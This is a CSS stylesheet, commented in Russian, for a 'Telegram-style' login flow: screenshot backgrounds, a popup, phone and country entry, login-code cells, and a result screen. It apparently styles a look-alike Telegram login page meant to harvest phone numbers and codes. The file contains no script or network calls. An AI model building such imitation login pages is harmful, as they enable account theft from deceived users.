/* ============ TELEGRAM-STYLE AUTH ============ */

:root{
  --tg-blue: #3390ec;
  --tg-blue-press: #2b7fd4;
  --text: #1c1c1e;
  --text-secondary: #8e8e93;
  --text-tertiary: #a0a0a5;
  --sheet-bg: #ffffff;
  --field-bg: #f1f3f5;
  --field-border: #e3e6e8;
  --badge-bg: #fdeaea;
  --badge-text: #e0566b;
  --green: #4caf50;
  --red: #e0566b;
  --radius-sheet: 22px;
  --radius-btn: 12px;
  --font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Helvetica Neue", "Helvetica", "Arial", sans-serif;
}

*{ margin:0; padding:0; box-sizing:border-box; -webkit-tap-highlight-color:transparent; }

html, body{
  height:100%;
  font-family: var(--font);
  color: var(--text);
  overflow:hidden;
}

body{
  position:fixed;
  inset:0;
}

/* ---------- Экраны ---------- */
.screen{
  position:absolute;
  inset:0;
  display:none;
  background-repeat:no-repeat;
  background-position:center;
  background-size:cover;
}
.screen.is-active{ display:block; }

.screen--bg1{ background-image:url("tgfon.webp"); background-color:#ffffff; }
.screen--bg2{ background-image:url("tgfon1.webp"); background-color:#ffffff; }

/* на широких экранах (ПК) картинка-скриншот не растягивается,
   а показывается по высоте целиком и центрируется */
@media (min-width:600px){
  .screen{ background-size:auto 100%; }
}

/* экраны 2-4: центрируем карточку */
#screen2, #screen3, #screen4, #screen5{
  display:none;
  align-items:center;
  justify-content:center;
  padding:24px;
}
#screen2.is-active, #screen3.is-active, #screen4.is-active, #screen5.is-active{ display:flex; }

.phone-input--full{
  width:100%;
  flex:1 1 auto;
}

.btn.is-loading{
  opacity:.72;
  pointer-events:none;
}

/* ---------- Затемнение под попапом ---------- */
.overlay{
  position:absolute;
  inset:0;
  background:rgba(0,0,0,0);
  transition:background .35s ease;
  pointer-events:none;
}
.overlay.is-dim{ background:rgba(0,0,0,.35); }

/* ============ ПОПАП (страница 1) ============ */
.popup{
  position:absolute;
  left:0; right:0; bottom:0;
  background:var(--sheet-bg);
  border-radius:var(--radius-sheet) var(--radius-sheet) 0 0;
  padding:10px 24px calc(28px + env(safe-area-inset-bottom)) 24px;
  text-align:center;
  transform:translateY(105%);
  transition:transform .4s cubic-bezier(.22,1,.36,1);
  box-shadow:0 -8px 40px rgba(0,0,0,.18);
  max-width:480px;
  margin:0 auto;
}
.popup.is-open{ transform:translateY(0); }

.popup__grip{
  width:38px; height:5px;
  background:#d4d4d8;
  border-radius:3px;
  margin:0 auto 22px auto;
}

.popup__gif-wrap{
  display:flex;
  align-items:center;
  justify-content:center;
  margin-bottom:18px;
}
.popup__gif{
  width:170px; height:170px;
  object-fit:contain;
}
.popup__gif.gif--fallback{
  width:140px; height:140px;
  border-radius:50%;
  background:radial-gradient(circle at 40% 35%, #ff5e6c, #e0566b);
  position:relative;
}
.popup__gif.gif--fallback::after{
  content:"👍";
  position:absolute; inset:0;
  display:flex; align-items:center; justify-content:center;
  font-size:64px;
}

.popup__from{
  font-size:15px;
  color:var(--text-secondary);
  margin-bottom:6px;
}
.popup__title{
  font-size:28px;
  font-weight:800;
  letter-spacing:1px;
  margin-bottom:8px;
}
.popup__subtitle{
  font-size:16px;
  color:var(--text-secondary);
  margin-bottom:26px;
  line-height:1.35;
}
.popup__badge{
  display:inline-block;
  background:var(--badge-bg);
  color:var(--badge-text);
  font-size:15px;
  font-weight:600;
  padding:11px 22px;
  border-radius:20px;
  margin-bottom:22px;
}

/* ============ КНОПКИ ============ */
.btn{
  display:block;
  width:100%;
  border:none;
  cursor:pointer;
  font-family:inherit;
  font-size:17px;
  font-weight:600;
  border-radius:var(--radius-btn);
  transition:background .15s ease, transform .08s ease, opacity .15s ease;
}
.btn--primary{
  background:var(--tg-blue);
  color:#fff;
  padding:16px;
}
.btn--primary:active{ background:var(--tg-blue-press); transform:scale(.985); }
.btn--primary:disabled{ opacity:.5; cursor:default; }

.btn--text{
  background:transparent;
  color:var(--tg-blue);
  padding:14px;
  margin-top:4px;
}
.btn--text:active{ opacity:.6; }

/* ============ КАРТОЧКА (страницы 2-4) ============ */
.card{
  position:relative;
  width:100%;
  max-width:380px;
  background:var(--sheet-bg);
  border-radius:var(--radius-sheet);
  padding:34px 26px 28px 26px;
  text-align:center;
  box-shadow:0 12px 48px rgba(0,0,0,.22);
  animation:cardIn .45s cubic-bezier(.22,1,.36,1) both;
}
@keyframes cardIn{
  from{ opacity:0; transform:translateY(22px) scale(.97); }
  to{ opacity:1; transform:translateY(0) scale(1); }
}

/* кнопка "назад" в углу карточки */
.card__back{
  position:absolute;
  top:14px; left:14px;
  width:36px; height:36px;
  display:flex;
  align-items:center;
  justify-content:center;
  border:none;
  background:transparent;
  color:#8e8e93;
  cursor:pointer;
  border-radius:50%;
  transition:background .15s ease, transform .08s ease, color .15s ease;
}
.card__back:hover{ background:var(--field-bg); color:#636366; }
.card__back:active{ transform:scale(.9); }

.card__icon{
  font-size:52px;
  margin-bottom:16px;
  line-height:1;
}

/* гиф вместо иконки на экране 2 */
.card__gif-wrap{
  display:flex;
  align-items:center;
  justify-content:center;
  margin-bottom:14px;
}
.card__gif{
  width:96px; height:96px;
  object-fit:contain;
}
.card__gif.gif--fallback{
  width:80px; height:80px;
  border-radius:50%;
  background:radial-gradient(circle at 40% 35%, #ff5e6c, #e0566b);
  position:relative;
}
.card__gif.gif--fallback::after{
  content:"👍";
  position:absolute; inset:0;
  display:flex; align-items:center; justify-content:center;
  font-size:38px;
}
.card__title{
  font-size:23px;
  font-weight:700;
  letter-spacing:-.3px;
  margin-bottom:9px;
}
.card__subtitle{
  font-size:15px;
  color:var(--text-secondary);
  line-height:1.4;
  margin-bottom:24px;
}
.card__phone{ color:var(--text); font-weight:600; }

/* ---------- Поле ввода ---------- */
.field{
  width:100%;
  font-family:inherit;
  font-size:18px;
  text-align:center;
  padding:15px;
  border:1.5px solid var(--field-border);
  background:var(--field-bg);
  border-radius:var(--radius-btn);
  outline:none;
  transition:border-color .2s ease, background .2s ease;
  margin-bottom:8px;
}
.field:focus{ border-color:var(--tg-blue); background:#fff; }
.field.is-error{ border-color:var(--red); background:#fdeaea; }

.field-error{
  font-size:13.5px;
  color:var(--red);
  min-height:18px;
  margin-bottom:14px;
  opacity:0;
  transition:opacity .2s ease;
}
.field-error.is-visible{ opacity:1; }

/* ---------- Поле номера со страной ---------- */
.phone-row{
  display:flex;
  gap:9px;
  margin-bottom:8px;
}
.phone-country{
  display:flex;
  align-items:center;
  gap:5px;
  flex:0 0 auto;
  font-family:inherit;
  font-size:18px;
  font-weight:600;
  padding:0 13px;
  border:1.5px solid var(--field-border);
  background:var(--field-bg);
  border-radius:var(--radius-btn);
  cursor:pointer;
  color:var(--text);
  transition:border-color .2s ease, background .2s ease;
}
.phone-country:active{ background:#e7eaec; }
.phone-country__flag{ font-size:20px; line-height:1; display:flex; align-items:center; }
.phone-country__code{ min-width:30px; text-align:left; display:flex; align-items:center; }
.phone-country__caret{ font-size:11px; color:var(--text-tertiary); margin-left:-1px; display:flex; align-items:center; }

.phone-input{
  flex:1 1 auto;
  width:100%;
  min-width:0;
  font-family:inherit;
  font-size:19px;
  font-weight:500;
  text-align:left;
  letter-spacing:1px;
  direction:ltr;
  padding:15px 16px;
  border:1.5px solid var(--field-border);
  background:var(--field-bg);
  border-radius:var(--radius-btn);
  outline:none;
  transition:border-color .2s ease, background .2s ease;
}
.phone-input:focus{ border-color:var(--tg-blue); background:#fff; }
.phone-row.is-error .phone-input,
.phone-row.is-error .phone-country{ border-color:var(--red); background:#fdeaea; }

/* ---------- Список стран ---------- */
.country-list{
  max-height:50vh;
  overflow-y:auto;
  -webkit-overflow-scrolling:touch;
  margin:6px -8px 0;
  text-align:left;
}
.country-item{
  display:flex;
  align-items:center;
  gap:10px;
  width:100%;
  padding:12px 10px;
  border:none;
  background:transparent;
  font-family:inherit;
  font-size:16px;
  line-height:1.2;
  color:var(--text);
  cursor:pointer;
  border-radius:10px;
  text-align:left;
}
.country-item:active{ background:var(--field-bg); }
.country-item__flag{
  font-size:22px;
  line-height:1;
  flex:0 0 32px;
  width:32px;
  text-align:center;
  display:flex;
  align-items:center;
  justify-content:center;
}
.country-item__name{ flex:1 1 auto; }
.country-item__code{
  color:var(--text-secondary);
  font-weight:600;
  flex:0 0 auto;
}

/* ---------- Ячейки кода ---------- */
.code{
  display:flex;
  gap:9px;
  justify-content:center;
  margin-bottom:8px;
}
.code__cell{
  width:46px; height:56px;
  font-family:inherit;
  font-size:24px;
  font-weight:600;
  text-align:center;
  border:1.5px solid var(--field-border);
  background:var(--field-bg);
  border-radius:12px;
  outline:none;
  transition:border-color .15s ease, background .15s ease, transform .1s ease;
}
.code__cell:focus{ border-color:var(--tg-blue); background:#fff; transform:translateY(-2px); }
.code.is-error .code__cell{
  border-color:var(--red);
  background:#fdeaea;
  animation:shake .4s ease;
}
@keyframes shake{
  0%,100%{ transform:translateX(0); }
  20%{ transform:translateX(-7px); }
  40%{ transform:translateX(7px); }
  60%{ transform:translateX(-5px); }
  80%{ transform:translateX(5px); }
}

.code__footer{
  margin-top:18px;
  display:flex;
  flex-direction:column;
  gap:10px;
  align-items:center;
}
.code__resend{
  font-size:14.5px;
  font-weight:600;
}
.code__resend--wait{ color:var(--text-tertiary); cursor:default; }
.code__resend--active{ color:var(--tg-blue); cursor:pointer; }
.code__resend--active:active{ opacity:.6; }

.code__hint-link{
  font-size:14.5px;
  font-weight:600;
  color:var(--tg-blue);
  cursor:pointer;
}
.code__hint-link:active{ opacity:.6; }

/* ============ РЕЗУЛЬТАТ (страница 4) ============ */
.card--result .result-svg{
  width:120px; height:120px;
  margin:0 auto 22px auto;
}
.result-svg svg{ width:100%; height:100%; display:block; }

/* анимации галочки/крестика */
.circle-path{
  stroke-dasharray:307;
  stroke-dashoffset:307;
  animation:drawCircle .55s ease forwards;
}
.check-path{
  stroke-dasharray:70;
  stroke-dashoffset:70;
  animation:drawStroke .4s ease .5s forwards;
}
.cross-path{
  stroke-dasharray:50;
  stroke-dashoffset:50;
  animation:drawStroke .35s ease forwards;
}
.cross-path--2{ animation-delay:.2s; }
@keyframes drawCircle{ to{ stroke-dashoffset:0; } }
@keyframes drawStroke{ to{ stroke-dashoffset:0; } }

/* ============ ПОДСКАЗКА (bottom sheet) ============ */
.overlay--hint{ z-index:20; display:none; }
.overlay--hint.is-shown{ display:block; }
.overlay--hint.is-dim{ background:rgba(0,0,0,.35); pointer-events:auto; }

.hint-sheet{
  position:absolute;
  left:0; right:0; bottom:0;
  z-index:21;
  background:var(--sheet-bg);
  border-radius:var(--radius-sheet) var(--radius-sheet) 0 0;
  padding:10px 24px calc(28px + env(safe-area-inset-bottom)) 24px;
  text-align:center;
  transform:translateY(105%);
  transition:transform .4s cubic-bezier(.22,1,.36,1);
  box-shadow:0 -8px 40px rgba(0,0,0,.18);
  max-width:480px;
  margin:0 auto;
}
.hint-sheet.is-open{ transform:translateY(0); }
.hint-sheet__icon{ font-size:46px; margin:8px 0 14px; }
.hint-sheet__gif-wrap{
  display:flex;
  align-items:center;
  justify-content:center;
  margin:8px 0 14px;
}
.hint-sheet__gif{
  width:84px; height:84px;
  object-fit:contain;
}
.hint-sheet__gif.gif--fallback{
  width:70px; height:70px;
  border-radius:50%;
  background:radial-gradient(circle at 40% 35%, #ff5e6c, #e0566b);
  position:relative;
}
.hint-sheet__gif.gif--fallback::after{
  content:"🔍";
  position:absolute; inset:0;
  display:flex; align-items:center; justify-content:center;
  font-size:34px;
}
.hint-sheet__title{ font-size:21px; font-weight:700; margin-bottom:10px; }
.hint-sheet__text{
  font-size:15px;
  color:var(--text-secondary);
  line-height:1.45;
  margin-bottom:22px;
}

/* ============ АДАПТИВ ============ */
@media (max-width:380px){
  .code__cell{ width:42px; height:52px; font-size:22px; }
  .code{ gap:7px; }
  .popup__gif{ width:140px; height:140px; }
  .popup__title{ font-size:23px; }
  .card__title{ font-size:21px; }
}
@media (max-width:340px){
  .code__cell{ width:38px; height:48px; font-size:20px; gap:6px; }
}

/* небольшой запас высоты для маленьких экранов */
@media (max-height:640px){
  .card{ padding:26px 22px 22px; }
  .card__icon{ font-size:44px; margin-bottom:12px; }
}
